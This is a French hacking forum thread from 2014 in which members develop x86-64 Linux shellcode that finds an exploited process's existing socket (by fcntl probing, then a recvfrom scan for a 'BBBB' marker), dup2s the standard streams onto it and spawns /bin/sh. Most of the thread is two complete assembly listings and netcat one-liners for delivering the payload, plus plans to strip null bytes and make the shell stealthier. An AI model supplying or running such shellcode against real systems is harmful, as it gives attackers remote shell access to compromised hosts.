• STATISTIQUES
  • Il y a eu un total de 0 membres et 37877 visiteurs sur le site dans les dernières 24h pour un total de 37 877 personnes!
    Membres: 2 605
    Discussions: 3 579
    Messages: 32 816
    Tutoriels: 78
    Téléchargements: 38
    Sites dans l'annuaire: 58


  • ANNUAIRE
  • [EN] Sabre Films
    Site de challenge présenté sous la forme d'une quête. Vous êtes un détective et devrez résoudre d...
    Challenges
    [EN] wechall
    Pour les gens n'étant pas familiers avec les sites de challenges, un site de challenges est un site propos...
    Hacking
    [FR] Infomirmo
    Challenge présenté sous la forme de 6 niveaux de difficultés diverses et variées avec chacun plusieurs chall...
    Challenges
    [FR] Root-me
    Script: 5, Système: 20, Cracking: 16, Cryptanalyse: 17, Programmation: 8, Réaliste: 11, Réseau: 10, Stéganog...
    Challenges
    [EN] Lost-chall
    Site de challenge présenté sous la forme de différente saison. Pour passer une saison vous devez avoir accumulÃ...
    Challenges
    [FR] Zenk-Security
    La communauté zenk-security a pour objet principal la sécurité informatique, nous sommes des tou...
    Hacking
    [EN] Rosecode
    Programming: 36, Math: 29, Probability: 5, Sequence: 7, Crypto: 4, Brainf**k: 13, TimeRace: 4, Hack: 9
    Challenges

  • DONATION
  • Si vous avez trouvé ce site internet utile, nous vous invitons à nous faire un don du montant de votre choix via Paypal. Ce don servira à financer notre hébergement.

    MERCI!

    €



Note de ce sujet :
  • Moyenne : 5 (2 vote(s))
  • 1
  • 2
  • 3
  • 4
  • 5
[shellcode] Reverse shell over reused socket
07-03-2014, 17h41 (Modification du message : 10-03-2014, 11h12 par ark.)
Message : #1
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
[shellcode] Reverse shell over reused socket
+1 (3) -1 (0) Répondre
07-03-2014, 18h11
Message : #2
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: [shellcode] Reverse shell over reused socket
comme ça au pif, si la socket est bloquante le F_GETFD bloque aussi non ?
sur ce lien on trouve une méthode similaire mais à base de F_GETFL
+1 (0) -1 (0) Répondre
10-03-2014, 15h20 (Modification du message : 10-03-2014, 15h20 par ark.)
Message : #3
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
RE: [shellcode] Reverse shell over reused socket
Je viens de tester le coup du F_GETFL et il s'avère que le programme boucle inf sans trouver la socket ; j'ai pas non plus fait comme ce que fait le mec dans son shellecode. Mais bon, trouver le FD ça marche, mon soucis c'est vraiment la partie binding des i/o sur la socket. Si je vire ma boucle pour faire les dup2(), bah le shell spawn bien coté serveur.

Ah oui, et j'ai edit mon premier message pour mettre le code du "getsc" ;)

EDIT :

Shellcode modifié, le problème venait du fait que les dup2 étaient fait sur la socket serveur, donc forcement ca ne marchait pas... Merci à Gruik pour m'avoir éclairé :p

Code ASM :

BITS 64
section .text

    global _start

_start:
    ;; int 0x3
    call start
    db "/bin/sh", 0, 0
    db "-i", 0
    align 4

start:
    xor rdi, rdi        ; We set the fist fd test to 0 because we will underflow to start from 255
    xor rax, rax
    inc rax         ; set rax to a non-zero value (we need that for the condition at check_fd_loop_end)

    jmp check_fd_loop_end

check_fd_loop_start:
    dec dil                        ; This is our fd
    mov r9b, dil

    mov rax, 72     ; call fcntl
    mov rsi, 1      ; use flag F_GETFD // This does detect if the fd is valid, i need to find something to be sure it's our socket
    syscall

    mov dil, r9b

check_fd_loop_end:
    test rax, rax       ; if fcntl() returned 0, we get a valid fd
    jne check_fd_loop_start

;;; Let's dup2() to bind filedescriptors to the socket

    mov rsi, 3
dup_loop:
    mov rax, 33
    dec rsi
    syscall
    test rsi, rsi
    jnz dup_loop

;;; We can now exec our shell
shell:
    mov rdi, [rsp]        ; pointer to the first string "/bin/sh", 0
    lea rax, [rdi + 9]
    mov [rsp + 8], rax
    lea rsi, [rsp]        ; pointer to begining of the tab
    mov qword [rsp + 0x10], 0
    mov rdx, 0
    mov rax, 59
    syscall
 


Bon, c'est encore expérimental puisqu'on est pas encore sur que le FD trouvé est le bon... Je vais faire des recherches pour pouvoir trouver le bon et je vous tiens au courant. :)

Pendant que j'y suis, pour pouvoir executer des commandes après, il va falloir envoyer l'input de notre shell vers notre nc ; on utilisera donc la commande suivante :

Code BASH :

(echo -ne `getsc scode` ; cat) | nc 0 1024
 
+1 (1) -1 (0) Répondre
10-03-2014, 16h47
Message : #4
gruik Hors ligne
gouteur de savon
*



Messages : 757
Sujets : 44
Points: 482
Inscription : Oct 2012
RE: [shellcode] Reverse shell over reused socket
(10-03-2014, 15h20)Ark a écrit : Bon, c'est encore expérimental puisqu'on est pas encore sur que le FD trouvé est le bon...

comme dit en pv une technique à mon avis assez fiable consiste à partir du principe que suite à l'exploitation le processus/thread est voué à mourir de toutes façons

du coup l'idée est de faire un read() de 4 octets sur tous les descripteurs prêts à être lus, en partant de 255 et decroissant, jusqu'à tomber sur le motif qu'on aura choisi "TOTO" ou 0xdeadbeef etc. ainsi on est quasi-certain de retrouver la bonne socket

c'est la technique qui était (est ?) utilisée dans le stager_sock_find de metasploit
+1 (1) -1 (0) Répondre
10-03-2014, 16h57 (Modification du message : 11-03-2014, 12h39 par ark.)
Message : #5
ark Hors ligne
Psyckomodo!
*****



Messages : 1,033
Sujets : 48
Points: 317
Inscription : Sep 2011
RE: [shellcode] Reverse shell over reused socket
Yep, merci =)

Je vais commencer par implémenter ca, puis je passerai sur de l'optimisation de taille. Et eventuellement du retirage des octets en 0x00.
Au passage, si quelqu'un se sent d'en faire une version 32bits, ca peut etre koule =)

Et sinon, je pensais à également faire un truc plus discret encore, c'est à dire qui rendrait la main qu process une fois qu'on en a fini avec notre shell. Je pensais partir sur un fork avant de faire la recherche de la socket, et puis wait() et return dans le père, ca devrait etre pas trop mal.

Bref, j'vous tiens au courant quoi :)

EDIT :

Bon, alors, j'ai mis en place la technique proposé par Gruik, ça marche pas encore à tous les coups, mais je vois pas encore pourquoi :p
Donc, voici le code :

Code ASM :

BITS 64
section .text

    global _start

_start:
    call start
    db "/bin/sh", 0, 0
    db "-i", 0, 0, 0

start:
    xor rdi, rdi                        ; rdi will contain our fd (but we will use it's sub-register : dil)
    xor rax, rax                      ; Wait, I think I don't need this anymore
    inc rax

    sub rsp, 8                        ; let's make us some space on the stack
    mov dword [rsp], 0            ; and set it to 0

; There we start initializing our syscall recvfrom()
; Those registers won't change when we loop
    mov rsi, rsp
    mov rdx, 4
    xor r8, r8
    xor r9, r9 

    jmp check_fd_loop_end
check_fd_loop_start:

    dec dil                       ; we try the next fd
    mov rcx, 64     ; MSG_DONTWAIT for a non blocking recvfrom
    mov rax, 45                ; syscall recvfrom()
    syscall         ; recvfrom(fd, stack_pointer, 4, flag = MSG_DONTWAIT, NULL, 0));
   
check_fd_loop_end:
    cmp dword [rsp], 0x42424242         ; Comparision with the choosen pattern
    jne check_fd_loop_start

    add rsp, 8                                     ; We restore the stack because we'll need to pop the right addresses next
; Start to dup2()
    mov rsi, 3
dup_loop:
    mov rax, 33
    dec rsi
    syscall
    test rsi, rsi
    jnz dup_loop

; let's get the shell!
    mov rdi, [rsp]
    lea rax, [rdi + 9]
    mov [rsp + 8], rax
    lea rsi, [rsp]
    mov qword [rsp + 0x10], 0
    mov rdx, 0
    mov rax, 59
    syscall
 


J'utilise un appel a recvrom() pour read sur la socket ; j'ai reservé de l'espace sur la stack pour stocker le dword lu. Il est ensuite comparé (0x42424242 == BBBB) et si la comparaison match, on peut lancer le shell sur notre socket.

Pour le lancer, j'ai un peu modifié ma ligne, puisqu'il faut lui envoyer le pattern :
Code BASH :

(echo -ne `getsc scode` ; echo -n BBBB ; cat) | nc 0 1024
 


Voilà! Bon, donc ça, ça drop un shell de temps en temps, il y a des fois ou il part en boucle inf, sans arriver à lire le pattern sur la socket, donc la comparaison reste toujours fausse. C'est assez bizarre, peut etre qu'il n'arrive pas à lire parce qu'il passe trop vite, et le message est pas encore envoyé ; du coup il ne le lit pas. Mais je me dis que dans ce cas il devrait tout de même le lire au deuxieme passage ... Je ne sais pas trop encore, je continue mes recherches ! :p
+1 (1) -1 (0) Répondre


Sujets apparemment similaires…
Sujet Auteur Réponses Affichages Dernier message
  [C] Socket + envoie de commande notfound 27 1,338 26-04-2013, 20h41
Dernier message: Kiwazaru
  [C] Socket Client-Serveur -> Write() + Read() sakiir 7 447 18-03-2013, 07h19
Dernier message: sakiir
  NEED HELP / SOCKET;FILTRES XDR; RPC notfound 4 316 21-01-2013, 02h18
Dernier message: notfound

Atteindre :


Utilisateur(s) parcourant ce sujet : 1 visiteur(s)
N-PN
Accueil | Challenges | Tutoriels | Téléchargements | Forum | Retourner en haut